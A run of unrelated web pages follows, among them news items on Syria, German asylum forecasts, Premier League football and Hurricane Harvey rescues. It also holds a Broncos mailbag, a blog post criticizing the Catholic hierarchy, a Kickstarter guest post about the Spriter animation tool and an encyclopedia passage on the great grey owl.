Since the selfie disgrace, Thompson has deleted her original ccaitlynthompson Instagram account and now there are multiple variations that show up of that account name which may or may not be run by the newly famous Thompson. Does it also make you cringe that she’s famous because of this? How old is she anyway? Check out the picture and decide for yourself.After being pushed out of a treehouse (not cool bullies) a young boy falls on his head, and then into a coma, then into a punked-out, dystopic wonderland– yes it’s a kid’s show, yes it’s Canadian, yes it shares its name with Homer’s epic poem, yes it’s The Odyssey! It ran on CBC for three seasons, beginning in 1992, and was one of our favourite shows at the time. It even featured future stars Devon Sawa and Ryan Reynolds! But how does it hold-up now? To hear our thoughts on The Odyssey, download the link below, or better yet, subscribe on Apple Podcasts! And be sure to follow us on Twitter!
Joining us for part of this week’s show is The Odyssey‘s co-creator Paul Vitols! You can find out more about Paul at his website: paulvitols.com
Episode 75- THE ODYSSEY
WARNING: the podcast contains strong language and immature subject matter, please be advised.
[youtube http://www.youtube.com/watch?v=fcM7sUeV9OI]
[youtube http://www.youtube.com/watch?v=o6QiiU7xEmo]Time to turn our attention to the world of comics that people in the world of comics sometimes don’t consider to be in the world of comics. By that, I mean comics not published by Marvel or DC.
Don’t worry, I’m still interested in super-heroes. I’m not THAT well rounded. But today, we talk about…
Who thought they’d live long enough to see a world where Archie Comics is the brave, hip, upstart on the comic stands? The one challenging the status quo? The one kicking Marvel and DC’s ass on this issue?
And a big shout out to my man Dan Parent, who’s been doing all the heavy lifting on the Kevin Keller comic series. Dan gets some love.
Ty the Guy OUT!
Here now, your Bonus Archie Comics Super-Hero moment.
————————————————————————————–President's half sister speaks on her mixed-race experience
At L.A.'s Japanese American National Museum, hosting a photo exhibit on multiracial children, Maya Soetoro-Ng talks about her long journey from feeling that she didn't fit in anywhere to feeling like a citizen of the world.
Her older brother Barack never seemed to struggle with his cultural or racial identity in the same way she did, Soetoro-Ng said. Son of the same white mother but a Kenyan father, Obama identifies as African American — choosing to check that box exclusively and not also the one for white on his 2010 U.S. Census form.
"Wherever I was, I felt somewhat inadequate in terms of the purest expression of culture," said Soetoro-Ng, a Hawaii-based writer, educator and half sister of President Obama. "I wished I completely belonged somewhere."
But when she entered the Jakarta International School at age 12, the only student of Indonesian ancestry, she felt too Indonesian. She was more reserved than the confident, boisterous Americans she met there and later in Hawaii, she said.
Growing up in Indonesia, Maya Soetoro-Ng often felt too American. Although she adored her native land's traditional gamelan music and shadow puppets, spiced cuisine and Hindu epics, her manner was too loud, too irreverent — hallmarks, she said, of being raised by a strong American mother.
"There has never been much ambiguity for him," said Soetoro-Ng, 39. "He was able to claim his identity as he made his commitment to community organizing, to being a leader and lawyer."
But Soetoro-Ng's early struggles over identity, a "mild but persistent discomfort" amid an otherwise happy and carefree childhood, gradually eased over time. Today, she embraces all aspects of herself — and urged people to do the same in an interview and program on multiracial identities Saturday evening at the Japanese
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to his faith? Next to John Elway and Peyton Manning, I think Randy was the best player to have played for the Broncos. He also had that ability to take over a game.
— G Zellers, Sterling
G – Faith? No. I believe there are many Christians whose busts are bronzed in Canton.
As a modern-era candidate, Gradishar twice made it to the final 15 candidates — in 2003 and 2008. His eligibility was used up there and is now in the senior-candidate pool.
There are nine veterans members of the senior committee. They nominate two senior candidates each year. Those two senior candidates are usually elected.
As a two-time, modern-era finalist, Gradishar is on the senior committee’s short list. Some short lists are longer than others, though. I thought for sure Gradishar would have been nominated by the senior committee this year. It didn’t happen. Wait ’til next year.
What is the entry-level college or pro coaching position? I’ve heard of graduate assistants, but those are usually reserved for former players. What path do people like Josh McDaniels or David Cutcliffe take to become coaches without playing organized football?
— Leo Duke, Philadelphia
For college, Leo, the entry-level position is graduate assistant. McDaniels and Adam Gase, among others, were once grad assistants for Nick Saban at Michigan State. How about that?
Gase followed Saban to LSU in 2000. McDaniels became a New England Patriots personnel assistant in 2001.
The entry-level NFL coaching position is offensive or defensive quality control. They cut up a lot of tape, write up a lot of reports and fetch a lot of strong coffee.
Now that running back Chris Johnson is a free agent, how much interest does Elway & Co. have in pursuing him? I hear Denver very often mentioned as a highly suitable landing spot by others. But so far as I’ve gathered, there’s been nothing forthcoming from the actual organization. Your thoughts?
— Armando Cuesta, Chicago
Armando – If he’d be willing to accept a change-of-pace speed back role, Johnson would be a great addition. But even he’s no longer a 2,000-yard back, I can’t see Johnson accepting a No. 2 role.
And as I stated earlier, the Broncos also don’t have the financial wherewithal to satisfy Johnson. It seems to me Johnson and Darrelle Revis are the two highest-profile NFL players whose contracts are always an issue.
Mike – I think it is time for Broncos owner Pat Bowlen to be considered for the Pro Football Hall of Fame. What is the criteria needed for an owner to be considered for the Hall?
— Art Shields, Torrington, Wyo.
Art – Bowlen would be classified as a “contributor” candidate. There are no retirement requirements for contributors. The late Lamar Hunt, Al Davis and Ralph Wilson were owners who were inducted into the Hall of Fame while still active.
Most Hall of Fame owners, though, were either co-founders of the NFL or AFL, or in Davis’ case, a former AFL commissioner.
The Hall of Fame owner most comparable to Bowlen is Pittsburgh’s Dan Rooney, who was elected in 2000. I do think the Broncos’ six Super Bowl appearances, two world championships and 307 wins in 30 years make Bowlen a serious Hall of Fame candidate.
To me, the most astonishing aspect to Bowlen’s legacy is the Broncos have only had five losing seasons in his 30 years.
I do wish the Hall of Fame would separate “contributor” and coaching candidates from the players on the modern-era ballot. I didn’t like that Bill Parcells got in at the expense of Michael Strahan in 2013.
Currently there is a maximum of seven new Hall of Fame members who can be elected each year — two senior candidates and five modern-era players, coaches or contributors. I say increase the max to eight new members — two seniors, five modern-era players and one coach-contributor.
The well of worthy Hall of Fame candidates would never dry up.
Pose a Broncos- or NFL-related question for the Broncos Mailbag. Listen to Mike Klis on “Klis’ Korner” on Monday-Friday at 102.3 FM ESPN.getty images Share
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JERUSALEM (JTA) — Israel will continue to care for Syrians wounded in the country’s civil war as part of its “humanitarian effort” to help the embattled country, Prime Minister Benjamin Netanyahu said.
Netanyahu also reiterated Israel’s full support of the United States’ airstrike on a Syrian military installation in the wake of a chemical attack on the rebel-held province of Idlib in northern Syrian, believed to have been delivered by government airstrike. Some 86 men, women and children died in the attack, which was believed to have released deadly sarin nerve gas.
“Israel fully supports the American attack on Syria. They did this for moral reasons in light of the harsh scenes from Idlib and also to make it clear that there is a price for using chemical weapons,” Netanyahu said Sunday at the start of the weekly Cabinet meeting.
Israel reportedly has treated some 3,000 Syrians wounded in the fighting at field hospitals on the border or in Israeli hospitals.
“Israel is caring for wounded Syrians as part of a humanitarian effort. We will continue to do so,” Netanyahu said.The official government forecast for so-called asylum seekers arriving in Germany has risen again to 1.5 million, according to internal documents seen by Bild, Germany’s top-selling daily.
The new 1.5 million figure represents a remarkable increase from the previous official 800,000 figure announced in mid-August – just one and a half months ago. What has been quickly forgotten, and unreported by the mainstream media is that the August figure itself was a revision from 450,000, again a revision from the original estimate of 300,000 in June. In just five months, the German ‘asylum’ estimate has increased by a remarkable five times.
In contrast, the number of ‘assylum seekers’ who actually arrived in Germany in 2014 was around 200,000. The constant revisions and refusal to place controls on Germany’s borders will raise doubts over Germany’s ability to keep with it’s targets for 2016 and beyond to only admit 500,000 refugees a year.
Reporting on the internal forecast seen by the paper they said was classed ‘confidentia’, Bild said the German authorities were concerned about the risk of a “breakdown of provisions” and that they were already struggling to procure enough living containers and sanitary facilities for the new arrivals.
“Migratory pressures will increase further. We now expect seven to ten thousand illegal border crossings every day in the fourth quarter,” Bild cited the report as saying.
“This high number of asylum seekers runs the risk of becoming an extreme burden for the states and municipalities,” the report said.
The authorities’ report also cited concerns that those who are granted asylum will bring their families over to Germany too, Bild said.
Given family structures in the Middle East, this would mean each individual from that region who is granted asylum bringing an average of four to eight family members over to Germany in due course, Bild quoted the report as saying.
German Finance Minister Wolfgang Schaeuble said on Sunday Europe needs to restrict the number of people coming to the continent.
Chancellor Angela Merkel, who said Germany would grant asylum to those fleeing Syria’s civil war, has recently seen her popularity ratings slump to a four-year low.
Reuters contributed to this report.
Follow Oliver Lane on Twitter: Follow @Oliver_Lane or e-mail to: [email protected] playback is not supported on this device Man Utd must improve - Moyes
Manchester United manager David Moyes refuses to give up on retaining the Premier League title, despite falling 14 points adrift of leaders Arsenal following a 3-1 defeat at Chelsea.
A Samuel Eto'o hat-trick guided Chelsea and in the process handed United a seventh league defeat of the season.
It needs three teams to almost have a collapse, so the title will be difficult for them Jose Mourinho on United's title chances
Moyes, whose side remain seventh in the table, said: "What we don't do is throw the towel in until we can't get there. The job is to finish first and we'll try to do that."
Chelsea manager Jose Mourinho also refused to rule United out of the title race - but said it would need a dramatic loss of form from those teams ahead of them to revive the reigning champions' hopes.
He said: "I am sure David won't be upset with me if I tell the reality. It is a 14-point difference to Arsenal, then 13 to Manchester City and 12 to us.
"It needs three teams to almost have a collapse, so the title will be difficult for them. What I hope is that they beat all the other teams to finish in the top four."
United started the match strongly but were guilty of poor defending as Eto'o became the fourth player to score a treble against them in the Premier League era.
The defeat also extended Moyes's wait for an away win against the 'big four' teams in the top flight.
The top eight - how they fare against each other Pld Won Pts Man City 8 7 21 Everton 7 3 12 Chelsea 8 3 12 Arsenal 7 3 11 Newcastle 8 3 10 Liverpool 7 2 8 Tottenham 8 1 6 Manchester United 9 1 5 Full Premier League table
In 48 away matches at United, Chelsea, Liverpool and Arsenal - encompassing his time as Everton and United boss - he has drawn 18 and lost 30.
United are now six points off the Champions League places with 16 matches remaining.
"This is a project," added Moyes. "I know what I'm going to do and there will be changes as we go along the journey.
"It is a massive challenge. I hoped we'd be in a better position than we are, but we are not."
United were without injured strikers Wayne Rooney and Robin van Persie and their problems increased when captain Nemanja Vidic was sent off for a challenge on Eden Hazard in the closing moments.
Vidic is now out of Wednesday's Capital One Cup semi-final second leg against Sunderland at Old Trafford, where United will try to overturn a 2-1 deficit.
The Serbian could have been joined on the sidelines by right-back Rafael, who was only booked for a two-footed lunge on Gary Cahill.
Moyes said: "I thought Nemanja's was a yellow card but I thought, on another day, the one afterwards when Rafael got a yellow card could have been a red card."As images of flooded highways, airport runways and neighborhoods spread out of Houston, one thing has become clear. Amid the catastrophic and historic rainfall totals, Texans with the ability to help their fellow citizens are turning themselves into rescue teams as rescue professionals find themselves overwhelmed.
A Harris County official asked members of the public who have a boat or a high water vehicle to help with efforts to rescue Houston residents whose homes have flooded in the torrential rains brought by Tropical Storm Harvey.
Many have responded.
Harris County Judge Ed Emmett said at a news conference Sunday that the additional boats and vehicles that Texas is sending to the Houston area are not able to get to the area due to flooded roadways, per the Associated Press.
From kayaks to hover-boats, locals with the resources to help others have been doing what they can.
Here is a collection of those in and around Houston lending a helping hand.
15 yr old Declan and friends have been picking people up in Meyerland since late morning @HoustonChron #houstonflood pic.twitter.com/fOh8lwXBzm — Mark Mulligan (@mrkmully) August 27, 2017
"We're going to save some more lives, the spirit of Texas. That's what it's about." Folks are risking their lives to help #houston @CBSDFW pic.twitter.com/r7PExCCJqd — Jeff Paul (@Jeff_Journalist) August 27, 2017
Looks like more help heading east to Houston. We're on I-10, 48 miles from Houston. Live report on KENS 5 at 5. #kens5eyewitness pic.twitter.com/zURF3dIm8s — Alicia Neaves (@AliciaKENS5) August 27, 2017
The situation in #Houston is getting worse and several days of rain to come. pic.twitter.com/pTsfHGsgqG — Horo the Wise Wolf (@Whiskeyjack75) August 27, 2017
@USArmy Young man asked why he was going to help others in the Houston Flood. "We are in the Army and it's what we do". #Hero pic.twitter.com/AHpnReF6UU — Baffled (@befuddled68) August 27, 2017
A reporter in Houston spotted a truck driver stuck in the flood. She was able to flag down police who saved his life live on TV. Holy crap. pic.twitter.com/v2nNjxJ12P — Jessie 🇰🇪 (@JMKTV) August 27, 2017
Situation in Houston. NEAR medical Center. People being airlifted from flooded apartments #Harvey pic.twitter.com/lRdROkKTZa — Jason Carey PhD (@jasonpwcarey) August 27, 2017
Follow @KTAR923Pregnant Woman Uses Jeep to Run Down Man She Says Tried to Steal Her Purse; She's Been Charged With Assault
I don't know what the law says about the use of force to stop a fleeing criminal, so I have no idea if this charge has any good foundation.
Assuming she's telling the truth, though: I approve, and no jury in the world will convict her.
A pregnant woman says she used her jeep to chase down and hit the person who tried to steal her purse in a Walmart parking lot. A news crew from WLOS caught part of the incident on camera. Witnesses told the station the man, identified as Robert Raines, was rummaging through the SUV before the incident.
So she got in her SUV, and... well, just watch the video below.
Pregnant woman runs over suspected purse thief at North Carolina Walmart; Man was taken to the hospital, then jail pic.twitter.com/OM5J8zsXNv — Breaking911 (@Breaking911) June 29, 2017
Evidence that this guy is guilty: He's not wearing a shirt. From my experience watching, I know whenever you see a shirtless dude who's not on the beach, it's 99.9% likely he's a perpetrator.
H/t to @woodwhisperers/The Dude.Featherweight champion Conor McGregor watched Jose Aldo’s fight from the sidelines (Picture: Getty)
Jose Aldo has fired a warning to Conor McGregor ahead of their proposed rematch after he pulled off an impressive victory for the interim featherweight belt at UFC 200.
Frankie Edgar proved no match for Aldo as he claimed a unanimous decision from the judges and the new champion is desperate to avenge his defeat to McGregor and become the undisputed champion once again.
McGregor’s emphatic 13-second knockout of Aldo in December ended the 29-year-old’s unbeaten record in the UFC and he was quick to turn to the watching Irishman cageside and let him know he was coming for him.
McGregor attended the game ahead of his own rematch bout at welterweight with Nate Diaz on August 20.
The 28-year-old has become obsessed with settling his dispute with the only man ever to beat him in the UFC, but has already assured Aldo that he will be back to defend his featherweight title.
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Speaking to BT Sport after his title win, Aldo delivered a message to McGregor straight to camera.
With Aldo needing to fight McGregor to unify the division belts, rumours have been circulating that the rematch could take place at Madison Square Garden in New York on November 12.
It's time to unify! 👑 — Jose Aldo Junior (@josealdojunior) July 10, 2016
MORE: Amanda Nunes forces bloodied Miesha Tate submission to claim bantamweight title at UFC 200In this past August’s post “On Desecration“, concerning the infamous PZ Myers wafer affair, I mocked the ignorance of a group calling itself the Confraternity of Catholic Clergy:
We find the actions of University of Minnesota (Morris) Professor Paul Myers reprehensible, inexcusable, and unconstitutional.
At the time, I didn’t think this was anything other than the raving of a few right-wing Catholic wackaloons, even if they were priests. But I may have to change that assessment. To judge by some recent news articles, the Catholic church, which at least used to stand for good education, has become infected with the same anti-intellectual disease that pervades so many sects of evangelical Protestantism.
Let’s lead with the most glaring example: the Bishop of Lancaster says that “educated Catholics” are giving rise to dissent and disloyalty in the church. He argues that mass education has led to “sickness in the Church”, and that education has a “dark side” due to – what else? – original sin. Although the good bishop stops just short of calling for the abolition of higher education, he does say that Catholics attending university need to be “better-equipped to challenge the erroneous thinking of their contemporaries”. The only way I can interpret this is as a wish that Catholics would be more dogmatic in their faith so that they are impervious to changing their minds as a result of contrary information.
Next up, we have a cardinal – not a priest, not just a bishop, but a cardinal – saying that President-elect Barack Obama is “apocalyptic” (HT: Andrew Sullivan). Apocalyptic, Cardinal Stafford? Really? I had assumed the equation of Obama with the Antichrist was one bit of hysteria confined to the snake-handlers and tongue-speakers, but if you want to jump in, be my guest.
The election of Barack Obama seems to have driven many Catholic leaders around the bend, not just this one. (Consider the infamous South Carolina priest who told his parishioners not to receive Communion if they voted for Obama. He’s not the first one, either.) This is almost certainly because bishops across the nation instructed their parishioners not to vote for Obama, only to have their demand largely ignored. The Catholic flock, it seems, is more progressive than their benighted shepherds, and the increasingly frantic assertions of empty authority from the pulpit are more and more often met with a shrug.
…young Catholics feel increasingly disconnected from a church that continues to bash gays, exclude women from the priesthood, and preach against contraception. As society becomes increasingly liberal and tolerant, the Catholic church continues to cling obstinately to its irrational rules, and is accordingly being left in the dust.
In “ The Fading of the Church “, I speculated about one possible reason for Catholicism’s ongoing decline in the First World:
A New York Times article, Catholics and Choice (in the Voting Booth), makes a similar argument:
After a presidential campaign in which it was widely perceived that the dominant message from the bishops was that Catholics were morally obliged not to vote for a candidate supporting abortion rights, exit polls show that Catholics voted 52 percent to 45 percent for Senator Barack Obama. …If the bishops sweat a little over these figures next week, the reason won’t be worry about their political prowess but about their pastoral and moral effectiveness. By appearing to tie their moral stance on abortion so closely to a particular political choice, have they in fact undermined their moral persuasiveness on that issue as well as their pastoral effectiveness generally?
That the Catholic hierarchy has undermined itself by being so resolutely out of step with its own flock is difficult to doubt, but I think the problem goes deeper than that. As lay Catholics, like society as a whole, become more progressive, the church hierarchy remains stuck where it is, clinging to the prejudices of the past. Their stance on choice is just one symptom of that deeper underlying problem.
Even today, the Catholic church still bars women from all positions of power. It still opposes equal rights for gays, compassionate euthanasia for the dying, and the responsible use of contraception. A church with so many manifestly immoral and irrational positions, which so plainly elevates its own dogmas over human equality and well-being, should not delude itself into believing it can speak with any moral authority to the rest of us.The Conservative Party wants to remind South Asian voters that Stephen Harper has “offered a hand of friendship to everyone.”
That’s one takeaway from a new Harper-themed Desi-style music video being used to appeal to a targeted subset of the Conservative voter base in lead up to election day.
Titled “Harper Sarkaar, Fir Ek Baar,” the video released Thursday pools years of footage and stills taken from the Conservative leader’s photo-ops with South Asian communities across the country. Also included are clips from his official trip to India nearly three years ago.
A short introduction flips through selected news clippings that mention Harper’s participation in a Vaisakhi celebration, super visa approvals, and various economic highlights. A female and male voiceover both say, “Thank you, Stephen Harper,” before the video transitions into the Hindi song.
Bollywood star Akshay Kumar also makes a cameo.
Watch the full video:
By far the best musical jingle of this campaign, #Desi-style. Posted by Jason Kenney on Friday, October 2, 2015
One set of lyrics claim Harper helped increase trade worldwide — a line which glosses over the fact that Canada is currently carrying a trade deficit.
The music video was shared by Conservative candidate Naval Bajaj. The local entrepreneur and 7-Eleven business consultant is vying to win Brampton East, an key Ontario riding with a strong South Asian population.
On Friday, the video was shared by national defence and multiculturalism minister Jason Kenney on Facebook.
“By far the best musical jingle of this campaign, #Desi-style,” he wrote.
It’s not clear if the party, a candidate, or third-party group produced the musical ad.
The music video comes days before the Liberal Party is set to host the “biggest campaign rally in decades” in Brampton on Sunday.
Conservative candidate, Maxime Bernier, released his own jingle in September urging listeners to vote for him, reminding those in his Beauce riding that he’s “a guy like us.”
Rough translation of the Hindi lyrics below:
We all want a conservative government We all want a conservative government Stephen Harper, Stephen Harper One more time He increased trade worldwide He made the economy strong He increased trade worldwide He made the economy strong Again and again, he cut taxes He created more than one million jobs We all want a conservative government We all want a conservative government Stephen Harper, Stephen Harper One more time He brought hundreds of thousands of immigrants to Canada He showed youth the way to success He brought hundreds of thousands of immigrants to Canada He showed youth the way to success He celebrated happiness with us He strengthened our relationship with India We all want a conservative government We all want a conservative government Stephen Harper, Stephen Harper One more time He offered a hand of friendship to everyone He gave respect to our elders He brought prosperity everywhere That’s why the colour blue is everywhere We all want a conservative government We all want a conservative government Stephen Harper, Stephen Harper One more time Female narrator: Let’s come together and make Canada strong And let’s re-elect Stephen Harper Bring in a Conservative government
With files from Sadiya Ansari, Maham Abedi, and Arti Patel
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Also on HuffPost:Note from Tom: Lucid (Edgar Muniz) is a valuable member of the Construct community and also contributes source code to our open sourced Construct Classic.
His sucess on Kickstarter has been deservedly phenomenal, with 9 days to go at time of writing he has raised nearly $42,000, $17,000 more than he asked for from over 1,000 backers. One reason for the sucess is the idea - a 2D sprite animation tool that game developers from around the world want and need.
We asked Lucid to write our first guest blog post for us on his Kickstarter experience and lessons learnt as we think it could be a good way for Construct 2 users to also get their projects funded.
You can follow Spriter on Kickstarter at www.KickstartSpriter.com
When I first quit my job to work on Spriter full-time, the original plan was to begin speaking to investors and trying to otherwise sell the beta when there was a few months of self-funding left. I was planning on having to return to some type of full time work, but armed with the progress I'd made I could continue to develop Spriter and seek investors in my off time. As the end of my funds loomed however, the thought of how much Spriter's progress would be slowed by becoming a spare time project was disheartening. Though 1.0 would eventually come it could never be as soon, and our vision of a perfect tool would become marred by compromises. But halfway through February, Double Fine Productions made history with it's wildly successful Kickstarter campaign Double Fine Adventure, getting fully funded to $400,000 in a matter of hours and eventually reaching over three million dollars. Of course we weren't expecting that level of success, but it brought our attention to the entire idea of crowd-funding.
I started examining other successful campaigns and trying to measure how cool Spriter seemed in comparison to projects at it's funding level. Mike and I were both confident we had something genuinely great on our hands. And if there was a common thread in all the successful projects we saw, this was it. There was no magic formula or special project type. It was just genuinely interesting projects, by people who genuinely cared about what they were doing. We had the quality, and we had the passion for our creation, so crowdfunding was now on the table as a viable option.
At this point there were basically two alternatives.
First option
Put together a detailed and professional presentation and start shopping for investors. Hopefully we could get one to recognize the demand for Spriter, and convince them that our unique approach to workflow was better than copying an established 2d animation package. Then we would need to convince them it's a good plan to release a fully open file-format, sell the editor with an unrestrictive license, and provide users with an extremely useful free version. Basically, an uphill battle the whole way unless we got extremely lucky, and found an investor who understood the industry well enough to get what we were trying to do, and believe in us enough to think we could pull it off.
Second option
Present the idea through Kickstarter or some other crowdfunding site. Then we'd do our best to spread the news as much as we could and let a vast range of people decide whether to fund it. These would include gamers who have played games that look like Muramasa or Castle Crashers, developers who'd understand the problems we were solving and the opportunities we were creating with the editor and file format, and animators who could see what we were trying to do with workflow. The same things that might be difficult to explain to someone only concerned with a business plan would be immediately appreciated by those that would benefit most from what we were trying to do. Instead of an investor, we'd be stating our case to our future userbase, the people we'd worked so hard to make the perfect animation framework for.
The choice was both obvious and refreshing. As for why Kickstarter and not another crowdfunding site, Kickstarter just seemed to draw the most attention, and we thought Kickstarter's gameified approach created an interesting dynamic with backers. In Kickstarter you have a time-limit to get funded, and it's all or nothing funding. If you don't reach at least 100%, you get nothing, but you're free to exceed that goal as much as possible. It makes the entire process more exciting to follow and participate in.
We had already planned to release the Spriter Beta to the public before we even considered Kickstarter, but we delayed release to work up to the last second to polish up the beta as much as possible, fixing any last minute bugs, and adding small features to help animators get more mileage out of it in it's early state.
So far so good.
On launch day, the things I was concerned with was whether the video or text were too long, whether or not people would watch or read far enough to learn about 'beyond our funding goals' possibilities, and of course whether we'd make our funding goal at all. I was planning to launch and immediately start looking for full-time work the next day in case the kickstarter didn't succeed. I pressed the launch button at 1:23pm on March 28th. By the next night we were 38% funded with almost $10,000.
Lessons Learned
We've been asked a few times by other Kickstarters what the key to our success was, and where/how we advertised, etc. In all honesty we got a few core things right, and most of the rest was many many mistakes. We're obviously extremely happy with our success, but the past few weeks have been more a lesson in missed opportunities. To aspiring Kickstarters I'll say this first. Definitely read EVERYTHING in the Kickstarter school which you'll be linked to upon beginning a project. Also, there is a wealth of information from previous Kickstarters, both successful and unsuccessful, you can find via Google. Nearly all of it is helpful, and it's a good idea to start reading up on it months before you start your Kickstarter. I'll try to emphasize the lessons I've learned over the past 3 weeks that either weren't in any of the advice I found online, or weren't stressed to the point where they really sunk in.
Lesson One: Be Special.
I think what helped most to get us funded so quickly was just the idea of the project itself. It really is something that developers have been wanting for a very, very long time. This animation technique has been around since the 80's, yet as far as we know, there are literally 0 other tools made for this purpose, aside from tools like Flash, that are very tightly integrated to a certain language/platform/engine. One of the first tweets about us was from a pro developer saying something along the lines of "I think every developer has had to write this program at some point in their careers". Others responded in agreement adding that it would be nice to have a real polished program dedicated to it, instead of a quickly developed in house tool. So first and foremost is demand. Also, it was great that Mike Parent had industry contacts he immediately notified about upon launch, so word began to spread at ground level and at industry level from the first minute.
Lesson Two: Twitter (and other social networking).
Luckily some of Mike's game dev friends and others who stumbled upon it tweeted early about it, long before I realized Twitter would be the main source of backing for the big rush in the first two weeks. I cannot stress this point enough: If you're not already on Twitter every day, and you want to one day be able to spread news about anything very very quickly, start being on Twitter every day now. If you think you understand it, but haven't used it, you don't understand it at all. Basically, someone says something there, and hundreds of people know about it seconds later. It's extremely powerful, and trust me, you don't want to be logging on for the first time a week into your Kickstarter campaign, wondering whether your posts will be considered spam, if you should be tweeting thank you's to people who tweet about you, etc.
Also familiarize yourself with Reddit and Facebook. Many people know Facebook, but haven't thought about it from a business type perspective. It's a great tool for spreading information and interest, and you don't want week 2 of your Kickstarter to be the first time you're thinking about these things.
Despite me posting scarcely, bumbling through Twitter and Reddit, social networking by far (especially Twitter) has been the main source of funding until more recently where funding has tapered off and now most of our funding is coming from people finding us within Kickstarter itself.
Lesson Three: Prove it's real.
This is one of the things we got right. While waiting for the project to be approved by Kickstarter staff(took only a day), I submitted a story about Spriter to RockPaperShotgun. They never wrote anything, but they have a link to a page "Hey, Developers!" explaining mostly what not to do if you want them to print your story. One thing in particular I clinged to throughout the Kickstarter is:
" A very important note on Kickstarter projects. If there isn't concrete proof that your game will exist and do more or less what it promises too, it's highly unlikely that we'll post about it - we have to be very careful about seeming to encourage our readers to give money to something that may not come to pass. So, it's probably not worth contacting us unless you have, at the very least, a trailer, and ideally something playable."
Releasing the beta this early was scary. We knew it wasn't bug free, there were huge chunks of functionality missing, and testing hadn't occured on a scale above a score of people. Alot could have went wrong. But I think having the useable beta was a big key to our success. Almost everything written up about us from forum posts, to blogs, to game dev news articles have mentioned the beta. Countless times I saw someone questioning our ability to deliver in a forum, and being replied to with a mention of the working beta. There were a few very frustrating cases where early on someone posted a bug or crash report directly on our Facebook or somewhere else we were attempting to promote, but we were able to turn this into a positive thing by quickly fixing the problem publicly. Any small negatives were far outweighed by well known Twitterers praising the editor. Unless you're doublefine or some other well established entity, you must prove that you're making something real. Either have lots of footage of different aspects of what you're explaining, or have a playable demo. Whatever you make, prove as best you can not only that it's cool, but that you can deliver.
Lesson Four: Prepare for success.
This was probably the biggest misstep from day one. I hoped for the Kickstarter to be extremely successful, but I was only prepared for either failure or making our goal by a hair in the final days. If you think there's even a slight chance you'll do well (which you should if you're doing a Kickstarter), prepare for it. I'll give a few examples here. Email. Once you get your first few Facebook likes and backings in your inbox, immediately set it up to forward Kickstarter fund alerts and Facebook Like alerts to a separate inbox. In week one, there were a few fund alert emails every few minutes. These were getting mixed in with various mails of praise, questions, bug reports, companies wanting to work with us, indie devs would wanted to integrate Spriter into their engines, etc. There were countless replies I made late enough to feel rude, including replies to prominent industry people and companies. No one seemed insulted, and I apologized to everyone, but it's easy to avoid such situations. If you notice you're starting to get frequent emails, set up your inbox to divert automated mail, and adopt the policy to always answer email immediately. If you're used to saving an email to answer when you have more time, be prepared to change this once your Kickstarter takes off.
Aside from social networks, which are big enough to get their own lesson, the same goes for forums, messageboards, and anything else where people can discuss you and your project. If you find someone talking about your project, immediately join the forum, bookmark it, and then reply. If your Kickstarter is successful, you will not be able to remember everywhere you posted, and when you stumble upon a post you made inviting more questions that you haven't responded to for 2 weeks, it's not a good feeling. Bookmarks help you easily avoid this problem.
My last note on preparing for success is to think about what you'll do if you get fully funded in a few days. If you're anything like me, you might feel a little silly, but it makes the difference between having some new additional content to show everyone and things you're ready to announce and discuss, or scrambling to put something together on the spur of the moment to help maintain interest now that your project is already funded.
Lesson Five: Have fun.
This might sound a little generic, but it's something I'm only getting now. The entire campaign has been a wonderful and amazing experience, but only now am I really starting to allow myself to really enjoy it. Of course I've been excited since day one, but I can't tell you how much of my time was spent fretting and stressing out over every last thing. Recently we announced some of our 1.0 features via a document I put together. I had attempted to create that document and this blog post, expecting to take a few hours for both combined. It ended up taking all of week three, with most of the time spent going in circles over how to get started on each and getting almost nothing done. I took an afternoon off from refreshing Twitter and Kickstarter, and staring at empty text documents, and suddenly my mind was clear. I got both done in 2 days, and I feel somewhat human again. There's only so much you can control. Do your best, and keep moving. If answering emails and forum posts literally takes up the entire day, treat it like a workshift, and give yourself time to unwind after a full day. It'll make everything you do the following day much more productive and positive. Kickstarter isn't an investor meeting, you'll do your best if you're enjoying the process as much as your backers are.
This entire Kickstarter experience has been nothing short of life-changing. I now have the opportunity to do exactly what I love doing, exactly how it should be done, with no one to answer to but my partner Mike, and over one thousand people who share our enthusiasm for what we're doing and believe in us. There really is nothing like it, and I can't think of a more awesome way to get something done.Hillary Clinton speaks to supporters
in Philadelphia on Tuesday. (Melina Mara/The Washington Post)
Sen. Bernie Sanders’s presidential campaign is letting hundreds of staffers go this week, all but conceding the Democratic primary race to Hillary Clinton, and raising the question of whether she will change her electoral strategy now that she is effectively running unopposed.
In the course of fending off Sanders’s challenge, Clinton appears to have conceded to him on a couple of major economic policy issues. The former U.S. senator and secretary of state has abandoned the centrist positions she previously held on trade and Social Security and taken stances closer to Sanders’s views.
Once presidential candidates have beaten out other primary contenders, they sometimes shift their positions and rhetoric to appeal to voters outside the party. On the other hand, there’s
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south to northern California, northern Idaho, western Montana, Wyoming and north-eastern Minnesota. S. n. lapponica (Thunberg, 1798) : Northern Eurasia, from Fennoscandia through Siberia to Sakhalin and Kamchatka Krai to Lithuania, Lake Baikal, Kazakhstan, Mongolia, Manchuria and north-eastern China.
Habitat Edit
In northern areas their breeding habitat is often the dense coniferous forests of the taiga, near open areas, such as meadows or bogs. In Oregon and California this owl has been found nesting in mixed oak woodlands. Once believed to require a cold climate, it is now known that this bird survives in a few areas where summer temperatures regularly exceed 100 °F (38 °C).
Range Edit
They breed in North America from as far east as Quebec[2] to the Pacific coast and Alaska, and from Finland and Estonia across northern Asia. They are permanent residents, although northerly populations may move south and southeast when food is scarce. In Europe they are found breeding in Norway and Sweden and more numerously through Finland and Russia. Even though the species occurs in Europe, the first great grey owl recognized by science was found in Canada in the late 18th century. Adult female There are sedentary populations in the Pacific states of California, Oregon, and Washington. The great grey owl in this region is found in disjunct areas of appropriate habitat. In winter these birds do not move far but may go downslope to escape deep snow as they must capture their prey on the ground. In Oregon, the great grey owl breeding range is scattered from the Siskiyou Mountains in the southwest to the Blue Mountains in the northeast. Two bird festivals each May feature field trips to try to see the species: the Ladd Marsh Festival in La Grande, OR and the Mountain Bird Festival in Ashland, OR. A 2015 study in California estimated there were fewer than 300 birds in the state at the time. The species is listed as Endangered under the California Endangered Species Act.[7] The California range for the species includes a small extension of the Oregon population, north of Alturas. In addition breeding has been confirmed in the Tahoe National Forest east of Nevada City; in the Sierra Nevada foothills south of I-80 at around 2,000 feet (610 m) elevation; and for the population clustered around Yosemite. In Yosemite is where the first nest south of Canada was found in 1914. A study of the Yosemite owls shows that this population has been genetically isolated from populations in Oregon and farther north for over 25,000 years. Biologists working on that study suggest that the Yosemite population should be considered a separate 